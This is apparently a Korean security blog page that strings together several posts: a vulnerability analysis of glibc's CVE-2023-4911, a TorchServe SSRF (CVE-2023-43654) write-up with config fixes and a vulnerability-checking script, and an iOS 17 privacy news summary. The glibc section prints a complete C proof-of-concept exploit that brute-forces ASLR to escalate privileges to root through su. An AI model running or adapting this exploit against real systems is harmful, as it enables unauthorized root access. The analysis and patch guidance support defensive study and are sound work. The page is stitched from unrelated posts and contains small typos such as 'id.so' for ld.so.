⑤ Security 자동화 및 오케스트레이션 수용: Third-Party 연동

 

> 도입효과

① 기술적 관점: 대부분의 보안 사고(85%)는 내부에서 발생 (Cisco 연구 조사 결과)

② 비즈니스적 관점: 공격 표면 감소, 비용 절감, 일관된 정책 구축, 비즈니스 연속성 보장, 운영 효율성 향상, 안전한 디지털 전환

1. GNU C 라이브러리 (glibc) [1]

- GNU 프로젝트가 C 표준 라이브러리를 구현한 것

> 리눅스 계열 운영체제에서 C언어로 작성된 실행파일들이 동작하기 위해 공통적으로 사용하는 기능을 쉽게 이용할 수 있도록 묶어 놓은 소프트웨어 집합

- 시스템 호출과 다양한 기본 기능들(open, malloc, printf 등)을 포함하기 때문에 대부분의 시스템에서 사용

 

1.1 Dynamic Loader

- 프로그램 준비 및 실행을 담당하는 glibc의 중요한 구성요소

- 프로그램을 실행할 경우 Dynamic Loader는 다음과 같이 동작

① 해당 프로그램을 검사하여 필요한 공유 라이브러리(.io) 결정

② 결정된 공유 라이브러리를 검색하여 메모리에 로드

③ 런타임에 실행 파일과 공유 라이브러리 연결

④ 함수 및 변수 참조와 같은 레퍼런스를 확인하여 프로그램 실행을 위한 모든 것이 설정되었는지 확인

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-4911 [2]

- glibcd의 Dynamic Loader인 id.so의 GLIBC_TUNABLES 환경변수를 처리하는 과정에서 발생하는 버퍼 오버 플로우 취약점

- 해당 취약점은 2021년 04월 (glibc 2.34) 커밋 2ed18c부터 존재했던 것으로 확인됨

영향받는 버전
- Fedora 37, 38 버전
- Ubuntu 22.04, 23.04 버전
- Debian 12, 13 버전

※ 대부분의 리눅스 배포판에서 glibc를 사용하기 때문에 다른 리눅스 배포판에도 취약점이 존재할 가능성이 높음
즉, 대부분의 리눅스 배포판에 해당 취약점이 존재한다는 의미

※ 단, Alpine Linux는 라이브러리로 glibc가 아닌 musl libc를 사용하기 때문에 해당 취약점에 영향을 받지 않음

 

2.1 GLIBC_TUNABLES [3]

- 사용자들이 런타임 시 라이브러리의 행동 패턴을 조정할 수 있게 해 주는 것

- 사용자가 매번 필요할 때마다 컴파일링 작업을 다시 하지 않아도 되어 편리성을 높여줌

> 사용자들이 직접 값을 입력해 설정하는 것으로, 부정한 값이 입력될 위험성이 존재

 

2.2 취약점 상세

- 최초 실행시 id.so는 __tunables_init ()를 호출하며, 해당 함수의 기능은 다음과 같음

① 모든 환경 변수 조회 (Line 279)

② 존재하는 환경 변수 중 환경 변수 GLIBC_TUNABLE 검색 (Line 282)

③ 위 과정에서 검색한 각각의 GLIBC_TUNABLE 환경 변수의 사본 생성 (Line 284)

④ parse_tunables()를 호출하여 사본 GLIBC_TUNABLE 환경 변수 처리 및 검사 (Line 286) ---> 취약점 발생 지점

⑤ 원본 GLIBC_TUNABLE 환경 변수를 사본 GLIBC_TUNABLE 환경 변수로 변경 (Line 288)

269 void
270 __tunables_init (char **envp)
271 {
272   char *envname = NULL;
273   char *envval = NULL;
274   size_t len = 0;
275   char **prev_envp = envp;
...
279   while ((envp = get_next_env (envp, &envname, &len, &envval,
280                                &prev_envp)) != NULL)
281     {
282       if (tunable_is_name ("GLIBC_TUNABLES", envname))
283         {
284           char *new_env = tunables_strdup (envname);
285           if (new_env != NULL)
286             parse_tunables (new_env + len + 1, envval);
287           /* Put in the updated envval.  */
288           *prev_envp = new_env;
289           continue;
290         }

 

- parse_tunables() 함수는 복사본을 삭제하고 tunestr에서 모든 위험한 튜너블(SXID_ERASE)을 제거함

> 첫 번째 인수는 사본 GLIBC_TUNABLES을, 두 번째 인수는 원본 GLIBC_TUNABLES를 가리킴

> 정상적인 형태는 "tunable1= aaa:tunable2= bbb" 형태인 것으로 판단됨

162 static void
163 parse_tunables (char *tunestr, char *valstring)
164 {
...
168   char *p = tunestr;
169   size_t off = 0;
170 
171   while (true)
172     {
173       char *name = p;
174       size_t len = 0;
175 
176       /* First, find where the name ends.  */
177       while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
178         len++;
179 
180       /* If we reach the end of the string before getting a valid name-value
181          pair, bail out.  */
182       if (p[len] == '\0')
183         {
184           if (__libc_enable_secure)
185             tunestr[off] = '\0';
186           return;
187         }
188 
189       /* We did not find a valid name-value pair before encountering the
190          colon.  */
191       if (p[len]== ':')
192         {
193           p += len + 1;
194           continue;
195         }
196 
197       p += len + 1;
198 
199       /* Take the value from the valstring since we need to NULL terminate it.  */
200       char *value = &valstring[p - tunestr];
201       len = 0;
202 
203       while (p[len] != ':' && p[len] != '\0')
204         len++;
205 
206       /* Add the tunable if it exists.  */
207       for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
208         {
209           tunable_t *cur = &tunable_list[i];
210 
211           if (tunable_is_name (cur->name, name))
212             {
...
219               if (__libc_enable_secure)
220                 {
221                   if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
222                     {
223                       if (off > 0)
224                         tunestr[off++] = ':';
225 
226                       const char *n = cur->name;
227 
228                       while (*n != '\0')
229                         tunestr[off++] = *n++;
230 
231                       tunestr[off++] = '=';
232 
233                       for (size_t j = 0; j < len; j++)
234                         tunestr[off++] = value[j];
235                     }
236 
237                   if (cur->security_level != TUNABLE_SECLEVEL_NONE)
238                     break;
239                 }
240 
241               value[len] = '\0';
242               tunable_initialize (cur, value);
243               break;
244             }
245         }
246 
247       if (p[len] != '\0')
248         p += len + 1;
249     }
250 }

 

- GLIBC_TUNABLE 환경 변수가 "tunable1=tunable2=AAA" 처럼 예기치 않은 입력 값을 포함하는 경우 parse_tunables()에서 취약점이 발생

> 입력값 전체를 유효한 값으로 복사하며, 이는 Tunables이 SXID_IGNORE 유형일 때 발생

① while(true)를 첫 번째 반복 동안 "tunable1=tunable2=aaa"가 tunestr에 복사 (Line 221~235)

② p는 증가하지 않고 여전히 "tunable1", 즉 "tunable2= aaa"의 값을 가리킴 (Line 247~248)

> Line 203~204에서 ':'이 발견되지 않았기 때문

while(true)를 두 번째 반복 동안 "tunable2= aaa"가 tunestr에 복사되며 tunestr에서 버퍼 오버 플로우 발생

 

- 공격자는 해당 취약점을 악용해 SUID 등이 설정된 프로그램을 실행시켜 권한을 상승시킴 [4][5]

 

2.3 PoC [6]

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/stat.h>
#include <sys/wait.h>

#define ENV_ITEM_SIZE ((32*4096) - 1)

// No ASLR
//#define STACK_TARGET   0x00007ffffff0c808
// ASLR Brute
#define STACK_TARGET   0x00007ffdfffff018

char * p64(uint64_t val) {
    char * ret = malloc(8);
    memset(ret, 0, 8);
    memcpy(ret, &val, 8);
    ret[7] = 0;
    return ret;
}

char * allocation_helper(const char * base, int size, char fill) {
    char * ret = NULL;
    char * chunk = malloc(size + 1);
    memset(chunk, fill, size);
    chunk[size] = 0;
    asprintf(&ret, "%s%s", base, chunk);
    free(chunk);
    return ret;
}

char * create_u64_filler(uint64_t val, size_t size) {
    uint64_t * ret = malloc(size + 1);
    // We need to make sure the allocation does not contain a premature null byte
    memset(ret, 0x41, size);
    for (int i = 0; i < size / 8; i++) {
        ret[i] = val;
    }
    // force null-termination
    char* ret2 = (char*)ret;
    ret2[size] = 0;
    return ret2;
}

void setup_dir() {
    // TODO: This is very much not compatible with all distros
    system("rm -rf ./\x55");
    mkdir("./\x55", 0777);
    system("cp /usr/lib/x86_64-linux-gnu/libc.so.6 ./\x55/libc.so.6");
    system("cp ./suid_lib.so ./\x55/libpam.so.0");
    system("cp ./suid_lib.so ./\x55/libpam_misc.so.0");
}

int main(int argc, char** argv) {

    setup_dir();

    int num_empty = 0x1000;
    int env_num = num_empty + 0x11 + 1;
    char ** new_env = malloc((sizeof(char *) * env_num) + 1);
    memset(new_env, 0, (sizeof(char *) * env_num) + 1);
    printf("new_env: %p\n", new_env);

    if (new_env == NULL) {
        printf("malloc failed\n");
        exit(1);
    }

    // This is purely vibes based. Could probably be a lot better.
    const char * normal = "GLIBC_TUNABLES=";
    const char * normal2 = "GLIBC_TUNABLES=glibc.malloc.mxfast:";
    const char * overflow = "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=";
    int i = 0;
    // Eat the RW section of the binary, so our next allocations get a new mmap
    new_env[i++] = allocation_helper(normal, 0xd00, 'x');
    new_env[i++] = allocation_helper(normal, 0x1000 - 0x20, 'A');
    new_env[i++] = allocation_helper(overflow, 0x4f0, 'B');
    new_env[i++] = allocation_helper(overflow, 0x1, 'C');
    new_env[i++] = allocation_helper(normal2, 0x2, 'D');

    // the remaining env is empty strings
    for (; i < env_num; i++) {
        new_env[i] = "";

        if (i > num_empty)
            break;
    }

    // This overwrites l->l_info[DT_RPATH] with a pointer to our stack guess.
    new_env[0xb8] = p64(STACK_TARGET);

    // Create some -0x30 allocations to target a stray 0x55 byte to use as our R path.
    for (; i < env_num - 1; i++) {
        new_env[i] = create_u64_filler(0xffffffffffffffd0, ENV_ITEM_SIZE);
    }
    new_env[i-1] = "12345678901"; // padding to allign the -0x30's

    printf("Done setting up env\n");

    char * new_argv[3] = {0};
    new_argv[0] = "/usr/bin/su";
    // If we get a "near miss", we want to make sure su exits with an error code.
    // This happens when the guessed stack address is valid, but points to another (empty) string.
    new_argv[1] = "--lmao";

    printf("[+] Starting bruteforce!\n");
    int attempts = 0;
    while (1) {
        attempts++;

        if (attempts % 100 == 0)
            printf("\n[+] Attempt %d\n", attempts);

        int pid = fork();
        if (pid < 0) {
            perror("fork");
            exit(1);
        }

        if (pid) {
            // check if our child was successful.
            int status = 0;
            waitpid(pid, &status, 0);
            if (status == 0) {
                puts("[+] Goodbye");
                exit(0);
            }
            printf(".");
            fflush(stdout);
        } else {
            // we are the child, let's try to exec su
            int rc = execve(new_argv[0], new_argv, new_env);
            perror("execve");
        }

    }
    
}

 

- PoC 시연 참조 [7]

[영상 1] 공격 시연 영상

 

3. 대응방안

- 벤더사 제공 보안 업데이트 적용 [8][9][10]

> 레드햇, 우분투, 업스트림, 데비안, 젠투 등 주요 리눅스 배포판들이 보안 업데이트 발표

 

4. 참고

[1] https://www.gnu.org/software/libc/
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-4911
[3] https://www.gnu.org/software/libc/manual/html_node/Tunables.html
[4] https://blog.qualys.com/vulnerabilities-threat-research/2023/10/03/cve-2023-4911-looney-tunables-local-privilege-escalation-in-the-glibcs-ld-so
[5] https://www.qualys.com/2023/10/03/cve-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt
[6] https://github.com/RickdeJager/CVE-2023-4911
[7] https://www.youtube.com/watch?v=uw0EJ5zGEKE&list=PPSV
[8] https://access.redhat.com/security/cve/CVE-2023-4911
[9] https://security-tracker.debian.org/tracker/CVE-2023-4911
[10] https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4DBUQRRPB47TC3NJOUIBVWUGFHBJAFDL/
[11] https://www.boannews.com/media/view.asp?idx=122421&kind=1&search=title&find=%C7%F6%C1%B8%C7%CF%B4%C2+%B0%C5%C0%C7+%B8%F0%B5%E7+%B8%AE%B4%AA%BD%BA+%BD%C3%BD%BA%C5%DB%BF%A1%BC%AD 

1. TorchServe

- Meta와 AWS에서 개발한 파이토치(PyTorch) 머신러닝 라이브러리를 기반으로 하는 새로운 모델 서비스 프레임워크 [1]

- 파이토치(PyTorch) 란 딥러닝 구현을 위한 파이썬 기반의 오픈소스 머신러닝 라이브러리 [2]

- PyTorch 생태계의 인기 있는 오픈 소스 패키지

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-43654 [3]

- TorchServer의 기본 설정 사용 시 부적절한 입력 값 검증으로인해 발생하는 SSRF 취약점 (CVSS: 9.8)

- 공격자는 해당 취약점을 이용해 TorchServe에 악성 모델을 업로드하여 임의 코드를 실행할 수 있음

영향받는 버전
- TorchServe 0.3.0 ~ 0.8.1 버전

 

2.1 취약점 상세 [4]

- TorchServe의 안내에 따르면, 인증되지 않은 접근을 방지 하기위해 기본적으로 localhost에서만 접근이 가능

 

구분 설명
inference_address 추론 API 바인딩 주소, 포트번호 8080
management_address 관리 API 바인딩 주소, 포트번호 8081
metrics_address 메트릭 API 바인딩 주소, 포트번호 8082
specific IP 특정 IP와 Port로부터 모델에서 실행할 경우 지정

 

[사진 2] 취약점 발생 위치

 

- 실제 인터페이스는 기본적으로 0.0.0.0에 바인딩 되어 있으며, 사용자 인증 과정이 부재

> IP 0.0.0.0모든 주소를 의미하기 때문에, 모든 IP에서 접근이 가능함을 의미 [6][7]

> 또한, 인증 과정이 없어 공격자가 서버에 접근하여 악성 모델 업로드 및 임의 코드가 실행할 수 있음

inference_address=hxxp://0.0.0.0:8080
management_address=hxxp://0.0.0.0:8081
metrics_address=hxxp://0.0.0.0:8082

 

[영상 1] 전체 Exploit 과정 요약

 

2.2 CVE-2022-1471 [8][9]

- CVE-2023-43654 외에 해당 취약점에도 영향 받는 것으로 확인됨

> SnakeYaml 2.0 이전 버전의 Constructor() 클래스는 역직렬화 중 인스턴스화될 수 있는 유형을 제한하지 않아 악성 Yaml 콘텐츠를 역직렬화 하여 원격 코드를 실행하는 취약점

 

3. 대응방안

① 벤더사에서 제공하는 최신 업데이트 적용 [10]

구분 취약한 버전 해결 버전
TorchServe 0.3.0 ~ 0.8.1 버전 0.8.2 버전

 

② 기본 설정 변경

- 해당 취약점은 기본 설정을 그대로 사용해 발생하는 취약점

> 따라서, 기본 설정을 내부 환경에 맞게 적절한 변경이 필요

- 최신 패치 버전(0.8.2)에서는 기본 설정을 사용할 경우 사용자에게 경고 알림을 발생시키는 것으로 확인됨.

 

③ config.properties 파일 수정

- 신뢰할 수 있는 도메인에서만 모델을 가져올 수 있도록 config.properties 파일 수정

<예시>
allowed_urls=https://s3.amazonaws.com/.*,https://torchserve.pytorch.org/.*

 

④ 점검 툴 사용 [11]

- 취약점을 발견한 보안 업체에서 해당 취약점에 영향을 받는지 확인할 수 있는 점검 툴 제공

response=$(curl --max-time 10 -s -X POST http://$TORCHSERVE_IP:$TORCHSERVE_PORT/workflows\?url\=$REMOTE_SERVER/$SSRF_DOWNLOAD_FILE_NAME)
response=$(echo "$response" | tr -d '[:space:]')
echo -e "${COLOR_WHITE_FORMAT}Checking CVE-2023-43654 Remote Server-Side Request Forgery (SSRF)"

# If no response at all
if [ -z "$response" ]; then
  echo -e "${COLOR_YELLOW_FORMAT}Cannot check CVE-2023-43654 Failed to send request to http://$TORCHSERVE_IP:$TORCHSERVE_PORT"

# Check response
else
  if [[ "$response" == "$SSRF_RESPONSE_EXISTS" ]]; then
    echo -e "${COLOR_YELLOW_FORMAT}The test file already exists in the server.To test again remove the file <torchserve_path>model-server/model-store/$SSRF_DOWNLOAD_FILE_NAME and run the script."
    HAS_SSRF=true
  elif [[ "$response" == "$SSRF_RESPONSE" ]]; then
    HAS_SSRF=true
    echo -e "${COLOR_RED_FORMAT}Vulnerable to CVE-2023-43654 SSRF file download"
  elif [[ "$response" == "$SSRF_NOT_VULNERABLE_RESPONSE" ]]; then
    HAS_SSRF=false
    echo -e "${COLOR_GREEN_FORMAT}Not Vulnerable to CVE-2023-43654 SSRF file download"
  else
    HAS_SSRF=true
    echo -e "${COLOR_YELLOW_FORMAT}Could not determine if TorchServe is vulnerable to CVE-2023-43654"
  fi
fi

 

4. 참고

[1] https://www.aitimes.kr/news/articleView.html?idxno=16158
[2] https://blog.naver.com/os2dr/221565409684
[3] https://nvd.nist.gov/vuln/detail/CVE-2023-43654
[4] https://www.oligo.security/blog/shelltorch-torchserve-ssrf-vulnerability-cve-2023-43654
[5] https://pytorch.org/serve/configuration.html?highlight=configure+torchserve+listening
[6] https://inpa.tistory.com/entry/WEB-%F0%9F%8C%90-00000-%EB%9E%80-%EB%AC%B4%EC%97%87%EC%9D%B8%EA%B0%80
[7] https://mamu2830.blogspot.com/2022/10/what-is-0.0.0.0%20.html
[8] https://nvd.nist.gov/vuln/detail/CVE-2022-1471
[9] https://github.com/google/security-research/security/advisories/GHSA-mjmj-j48q-9wg2
[10] https://aws.amazon.com/ko/security/security-bulletins/AWS-2023-009/
[11] https://github.com/OligoCyberSecurity/ShellTorchChecker
[12] https://www.securityweek.com/critical-torchserve-flaws-could-expose-ai-infrastructure-of-major-companies/
[13] https://www.boannews.com/media/view.asp?idx=122377&kind=1&search=title&find=%C0%CE%B0%F8%C1%F6%B4%C9+%C0%CE%C7%C1%B6%F3%BF%A1+%B3%CE%B8%AE+%BB%E7%BF%EB%B5%C7%B4%C2+%BF%C0%C7%C2 

요약 - 애플은 브리핑을 통해 iOS 17에 개인 정보보호 기능 다수 탑재한 역대 최고 보안 체계를 구축했다고 발표
내용 - 사용자의 개인정보 보호를 위해 네 가지 핵심 원칙을 중심으로 제품과 서비스를 설계
① 개인 데이터를 최소한으로 수집하는 '데이터 사용 최소화'
② 사용자 데이터를 디바이스 기기 안에서 처리하는 '온디바이스 프로세싱'
③ 사용자의 정보 수집을 공개하는 '투명성·제어 권한'
④ 사용자 데이터 보호하는 '보안 강화'

- 개인 정보보호 기능
① Safari 개인정보 보호 브라우징 
> 사용자의 브라우징 내역을 저장하지 않음
> 특정 웹사이트가 사용자를 식별하는데 사용되는 추적(자동완성, 트래커 등) 제거

② 온디바이스 프로세싱 강화
> 개인 데이터 수집을 최소화하고자 서버가 아닌 기기 자체에서 데이터를 처리
> 실시간 음성 메시지 기능은 발신자가 남기는 음성 메시지가 텍스트로 표시되어 나타남
> 알 수 없는 발신자 음소가 기능의 경우 알 수 없는 번호로 전화가 올 경우 바로 음성 메시지로 넘어감
> 이를 이용해 통신사에서 스팸으로 분류한 전화는 곧바로 거절

③ 사진 선택기
> 사용자가 앱에서 특정 사진을 공유할 때 보관함에 있는 나머지 항목을 비공개 상태로 보호
> 앱이 사진 전체를 사용하게 할 것인지 선택한 사진과 동영상만 사용하게 할 것인지 선택할 수 있음

④ 체크인
> 친구나 가족에게 목적지에 안전하게 도착했다는 사실을 자동으로 감지해 메시지로 공유
> 설정된 목적지로 이동하지 않을 경우 사용자의 응답을 통해 상태를 확인
> 미응답시 사용자의 정확한 위치, 배터리 잔량, 네트워크 상태, 마지막 사용 시각 등을 지정된 사람들에게 공유

⑤ 암호공유
> 암호 공유가 필요한 경우 공유할 그룹을 생성해 암호를 공유하며, 암호 업데이트 또한 공유
> 아이클라우드 키체인을 통해 종단간 암호화되어 안전하게 사용 가능

⑥ 신속 보안 대응
> 소프트웨어 업데이트 시 보안 수준을 최신으로 유지

⑦ 차단 모드
> 기기의 보안을 한층 강화하고 특정 기능을 엄격하게 제한해 추가 위험 감소
기타 -

 

보안뉴스

 

'철통보안' 애플의 자신감..."아이폰15에 최강 보안 체계 구축"

애플이 '아이폰15' 시리즈에 기본 탑재된 새 OS(운영체제)인 'iOS 17'에 역대 최고 보안 체계를 구축했다고 자신했다. 애플은 4일 브리핑을 통해 "애플은 개인정보 보호가 근본적인 인권이라 믿고 있

n.news.naver.com

 

개인정보 보호 진심인 애플, iOS17서도 '보안' 강화

애플이 신규 운영 체제 iOS 17에 한층 강화된 개인정보 보호·보안 관련 기능을 선보인다.4일 관련 업계에 따르면, 이 회사는 하드웨어 전 제품에 4가지 원칙을 적용해 개인정보 보호를 하고 있다.

www.dailian.co.kr

 

애플 iOS 17 아이폰 기능과 개인정보 보호 기능들!

지난 WWDC23 행사를 통해서 공개된 공개된 애플 iOS 17, iPadOS17, macOS Sonoma, watchOS10...

blog.naver.com

 

Apple, 강력한 신규 개인정보 보호 및 보안 기능 공개

Apple이 Safari 개인정보 보호 브라우징, 안전한 커뮤니케이션 및 차단 모드의 업데이트를 포함해 혁신적인 최신 개인정보 보호 및 보안 기능을 공개했다.

www.apple.com

 

Privacy - Features

Apple is constantly improving the built-in technologies designed to keep your personal information safe.

www.apple.com

 

개인정보 보호 - 관리

당신의 기기 및 데이터를 안전하게 보호하도록 설계된 Apple의 개인정보 보호 기술 및 관리 기능에 대해 알아보세요.

www.apple.com

 

+ Recent posts